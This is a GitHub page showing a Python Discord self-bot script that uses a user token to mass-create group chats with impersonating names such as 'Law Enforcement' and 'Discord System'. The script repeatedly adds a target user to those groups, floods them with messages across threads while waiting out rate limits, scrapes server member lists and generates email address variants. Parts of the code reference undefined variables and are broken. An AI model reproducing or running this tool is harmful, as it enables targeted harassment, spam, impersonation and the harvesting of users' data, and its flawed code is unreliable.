-
Notifications
You must be signed in to change notification settings - Fork 147
/
all_together.py
373 lines (322 loc) · 19.5 KB
/
all_together.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
import os
os.system("pip install -r requirements.txt")
os.system("cls" if os.name == "nt" else "clear") # if you are running it on windows, it will run the cls command in the terminal to clear it. On Linux it will run the clear command.
import sys
import colorama
import ctypes
import requests
import discum
import json
import time
import random
import threading
developer = "testuser#0001"
# https://patorjk.com/software/taag/#p=display&f=Graffiti&t=Type%20Something%20 => ASCII Art
def logo():
if os.name == "nt": ctypes.windll.kernel32.SetConsoleTitleW(
f'[Mass Group Manager] | Ready for use <3') # windows system
return (print(f"""{colorama.Fore.RESET}{colorama.Fore.LIGHTMAGENTA_EX}
██████╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ████████╗ ██████╗ ██████╗ ██╗ ███████╗
██╔══██╗██║██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔══██╗ ╚══██╔══╝██╔═══██╗██╔═══██╗██║ ██╔════╝
██║ ██║██║███████╗██║ ██║ ██║██████╔╝██║ ██║ ██║ ██║ ██║██║ ██║██║ ███████╗
██║ ██║██║╚════██║██║ ██║ ██║██╔══██╗██║ ██║ ██║ ██║ ██║██║ ██║██║ ╚════██║
██████╔╝██║███████║╚██████╗╚██████╔╝██║ ██║██████╔╝ ██║ ╚██████╔╝╚██████╔╝███████╗███████║
╚═════╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝╚══════╝
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
created by {developer}
{colorama.Fore.LIGHTCYAN_EX}
[1] Mass Group Creator
[2] Mass Member to Group Adder
[3] Mass Group Name Changer
[4] Mass Group Icon Changer
[5] Mass Group Message Sender
[6] Mass Fetch Members from a Guild
[7] Generate Tempmails with custom domain
{colorama.Fore.RESET}
"""))
logo()
option = input(f"{colorama.Fore.LIGHTMAGENTA_EX} [Final] Select a Option from above: ")
if option != "1" and option != "2" and option != "3" and option != "4" and option != "5" and option != "6" and option != "7":
print(f"{colorama.Fore.RED} [!] Invalid Option selected!{colorama.Fore.RESET}"), sys.exit(1337)
# Mass Group Creator
if option == "1":
def creator():
with open("config.json") as conf:
config = json.load(conf)
token = config["token"]
image_path = config["icon path"]
names = [
"Discord System",
"Clyde",
"Official Discord Group",
"Law Enforcement",
"Discord Bots",
"join the crowd",
"User Agreement",]
headers = {
"Authorization": token,
"accept-language": "de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 OPR/81.0.4196.31"
}
while True:
try:
r = requests.post('https://discord.com/api/v9/users/@me/channels', headers=headers, json={"recipients": []})
json_resp = json.loads(r.content)
group_id = json_resp['id']
bot = discum.Client(token=token, log={"console": False, "file": False})
bot.setDmGroupIcon(group_id, image_path)
time.sleep(0.5)
response = requests.patch(f'https://discord.com/api/v9/channels/{group_id}', headers=headers,
json={'name': random.choice(names)})
if response.status_code == 200 or response.status_code == 204 or response.status_code == 201:
print(f"{colorama.Fore.LIGHTGREEN_EX} [+] Group Created! => ID: {json_resp['id']}{colorama.Fore.RESET}")
else:
print(f"{colorama.Fore.LIGHTRED_EX} [+] Group NOT Created! => HTTP Error: {response.status_code}{colorama.Fore.RESET}")
with open("group_id.txt", "a") as group_id:
group_id.write(json_resp['id'] + '\n')
except:
json_resp = r.json()
print(f"{colorama.Fore.LIGHTRED_EX} [429] Discord reject requests for {json_resp['retry_after']} Seconds now. I will continue after that time...{colorama.Fore.RESET}")
time.sleep(json_resp['retry_after'])
creator()
creator()
# Mass Member to Group Adder
elif option == "2":
user_id = input(' Enter User ID: ')
with open("config.json") as conf:
config = json.load(conf)
token = config["token"]
headers = {
"Authorization": token,
"accept-encoding": "gzip, deflate, br",
"accept-language": "de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 OPR/81.0.4196.31"
}
def sendreq():
with open("group_id.txt") as group_file:
lines = group_file.readlines()
for _ in lines:
rand_line = random.choice(lines)
with open("log.txt", "a+") as log_file:
read_logs = log_file.read()
check = read_logs.find(rand_line)
if check != -1:
print(f"{colorama.Fore.BLACK}{colorama.Back.YELLOW} User: {user_id} is already in Group")
lines.remove(rand_line)
else:
try:
with open("log.txt", "a+") as f:
f.write(rand_line)
group_id = rand_line.strip('\n')
response = requests.put(f'https://discord.com/api/v9/channels/{group_id}/recipients/{user_id}', headers=headers)
json_resp = json.loads(response.content)
if response.status_code == 200 or response.status_code == 204 or response.status_code == 201:
lines.remove(rand_line)
print(
f"{colorama.Fore.LIGHTGREEN_EX} [+] Requested the API successfully | Group => ID: {group_id} => GroupIDs left: {len(lines)}")
elif response.status_code == 429:
print(
f"{colorama.Fore.LIGHTRED_EX} [429] Discord reject requests for {json_resp['retry_after']} Seconds now. I will continue after that time...{colorama.Fore.RESET}")
time.sleep(json_resp['retry_after'])
else:
print(
f"{colorama.Fore.LIGHTRED_EX} [+] User NOT Added to Group => HTTP Error: {response.status_code}{colorama.Fore.RESET}")
except:
print(
f"{colorama.Fore.LIGHTRED_EX} [+] User NOT Added to Group => HTTP Error: {response.status_code}{colorama.Fore.RESET}")
# changing the value of the variable "th" might cause connection issues and the whole code will run wayyy slower even if you put a higher number.
# this number do NOT mean the total requests. the number of connections at the same time is meant. the total connections are defined in for line in shit
# so the total number of connections equals to the lines of the group_id.txt file.
for _ in range(10):
t = threading.Thread(target=sendreq)
t.start()
# Mass Group Name Changer
elif option == "3":
with open("config.json") as conf:
config = json.load(conf)
token = config["token"]
names = ['github.com/FuckingToasters'] # ADD MORE IF NEEDED
headers = {
"Authorization": token,
"accept-encoding": "gzip, deflate, br",
"accept-language": "de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 OPR/81.0.4196.31",
"Content-Type": "application/json"
}
def sendreq():
while True:
try:
with open("group_id.txt") as group_file:
lines = group_file.readlines()
for _ in lines:
rand_line = random.choice(lines)
group_id = rand_line.strip('\n')
response = requests.patch(f'https://discord.com/api/v9/channels/{group_id}', headers=headers, json={'name': random.choice(names)})
if response.status_code == 200 or response.status_code == 204 or response.status_code == 201:
print(
f"{colorama.Fore.LIGHTGREEN_EX} [+] Requested the API successfully | Group => ID: {group_id} => GroupIDs left: {len(lines)}")
lines.remove(rand_line)
elif response.status_code == 429:
print(
f"{colorama.Fore.LIGHTRED_EX} [429] Discord reject requests for {json_resp['retry_after']} Seconds now. I will continue after that time...{colorama.Fore.RESET}")
time.sleep(json_resp['retry_after'])
else:
print(
f"{colorama.Fore.LIGHTRED_EX} [-] Name of the Group not changed => HTTP Error: {response.status_code}{colorama.Fore.RESET}")
print(response.content)
print(response)
except:
print(
f"{colorama.Fore.LIGHTRED_EX} [-] Name of the Group not changed => HTTP Error: {response.status_code}{colorama.Fore.RESET}")
for i in range(10):
t = threading.Thread(target=sendreq)
t.start()
# Mass Group Icon Changer
elif option == "4":
with open("config.json") as conf:
config = json.load(conf)
token = config["token"]
image_path = config["icon path"]
while True:
try:
with open("group_id.txt") as group_file:
for _ in group_file:
lines = group_file.readlines()
rand_line = random.choice(lines)
already_checked = open('log.txt', mode='a+')
all_of_it = already_checked.read()
check = all_of_it.find(rand_line)
if check != -1:
pass
else:
for _ in shit:
try:
with open("log.txt", "a+") as f:
f.write(rand_line)
group_id = rand_line.strip('\n')
bot = discum.Client(token=token, log={"console": False, "file": False})
bot.setDmGroupIcon(group_id, image_path)
time.sleep(random.randint(0, 2))
print(
f"{colorama.Fore.LIGHTGREEN_EX} [+] Changed Group Icon => ID: {group_id}{colorama.Fore.RESET}")
except IndexError:
print(
f"{colorama.Fore.LIGHTRED_EX} No GroupID to change the icon to found in log.txt")
except:
print(f"{colorama.Fore.LIGHTRED_EX} [-] Group Icon NOT changed to: {image_path}")
except:
print(json_resp['retry_after']), time.sleep(json_resp['retry_after'])
# Mass Group Message Sender
elif option == "5":
# make sure to look at the other files and sometimes you se something around "with open("...txt") as file:"
# this is defently better then just open(...) as it manage the files automatically and you will not need to close the files manually etc.
message = input(
' Enter your Message to be sent: ') # note: that Messages will be sent to the same group multiplie times if you choose a higher value then the number of groups you are in.
message_count = int(input(' Enter Message Count: '))
with open("config.json") as conf:
config = json.load(conf)
token = config["token"]
def sendreq():
with open("group_id.txt") as group_file:
for _ in group_file:
lines = group_file.readlines()
rand_line = random.choice(lines)
with open("log.txt", "a+") as log_file:
logs = log_file.read()
check = logs.find(rand_line)
if check != -1:
pass
else:
"""
==========================================================================================================================================
if you want to send messages in a loop, uncomment the 'while True' by removing the '#' and add a '#' at 'for line in range(message_count):'
If you use 'while True' messages probably will be sent again in a group, they already where sent in!
==========================================================================================================================================
"""
# while True:
for _ in range(message_count):
try:
with open("log.txt", "a+") as f:
f.write(rand_line)
group_id = rand_line.strip('\n')
headers = {
"Authorization": token,
"accept-encoding": "gzip, deflate, br",
"accept-language": "de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0",
"accept": "*/*",
"referer": f"https://discord.com/channels/@me/{channelid}",
"host": "discord.com",
"connection": "keep-alive",
"orgin": "https://discord.com"
}
data = {
"content": message,
"tts": False
}
response = requests.post(f'https://discord.com/api/v9/channels/{group_id}/messages',
data=data, headers=headers)
json_resp = json.loads(response.content)
if response.status_code == 200 or response.status_code == 204 or response.status_code == 201: print(
f' {colorama.Fore.LIGHTGREEN_EX}[+] Message Sent To {channelid} {colorama.Fore.RESET}\n')
if response.status_code == 429:
print(
f" {colorama.Fore.LIGHTRED_EX}[-] Message Not Sent To {group_id} => Ratelimit for {json_resp['retry_after']} seconds!{colorama.Fore.RESET}")
time.sleep(json_resp['retry_after'])
except:
print(
f" {colorama.Fore.LIGHTRED_EX}[-] Message Not Sent To {group_id} => Ratelimit for {json_resp['retry_after']} seconds!{colorama.Fore.RESET}")
time.sleep(json_resp['retry_after'])
# changing the value of the variable "th" might cause connection issues and the whole code will run wayyy slower even if you put a higher number.
# this number do NOT mean the total requests. the number of connections at the same time is meant. the total connections are defined in for line in shit
# so the total number of connections equals to the lines of the group_id.txt file.
for i in range(10):
t = threading.Thread(target=sendreq)
t.start()
elif option == "6":
with open("config.json") as conf:
config = json.load(conf)
token = config["token"]
bot = discum.Client(token=token, log={"console": False, "file": False})
class MemberTracker: members = {}
mt = MemberTracker()
# a gateway function
def print_members(resp, guild_id):
# what discord with to our op14 member subscribe msgs
with open("members.txt", "a+") as member_file:
all_members = member_file.read()
if resp.event.guild_member_list:
s = bot.gateway.session
if len(s.guild(guild_id).members) > len(mt.members):
mt.members.update(s.guild(guild_id).members)
for i in mt.members.values():
member_file.write(i["username"] + '#' + i['discriminator'] + '\n')
print(i["username"] + '#' + i['discriminator'])
# member_file.write(i["username"], i['discriminator'] + '\n')
# print(i["username"], i['discriminator'])
def close_after_fetching(resp, guild_id):
if bot.gateway.finishedMemberFetching(guild_id):
length_membersfetched = len(bot.gateway.session.guild(guild_id).members).format(str)
print(f"{length_membersfetched} members fetched")
bot.gateway.removeCommand({'function': close_after_fetching, 'params': {'guild_id': guild_id}})
bot.gateway.close()
def get_members(guild_id, channel_id):
bot.gateway.fetchMembers(guild_id, channel_id, keep="all", wait=1)
bot.gateway.command({'function': close_after_fetching, 'params': {'guild_id': guild_id}})
bot.gateway.run()
bot.gateway.resetSession() # saves 10 seconds when gateway is run again
return bot.gateway.session.guild(guild_id).members
guild_id = input("Enter the GuildID: ")
channel_id = input("Enter the ChannelID: ")
members = get_members(guild_id, channel_id)
with open('members.txt', 'a+', encoding='utf-8') as f:
for m in members.values():
user = m["username"] + '#' + m['discriminator']
print(user)
f.write(user + '\n')
elif option == "7":
domain = input(" Enter the domain: ")
generate_mails = lambda symbol: symbol[11:] and [symbol[0] + w + x for x in generate_mails(symbol[1:]) for w in ('.', '')] or [symbol]
with open("mails.txt", "a+") as file:
print(" Generating mails...")
for mail in generate_mails(domain): file.write(f"{mail}\n") # take something@example.com as input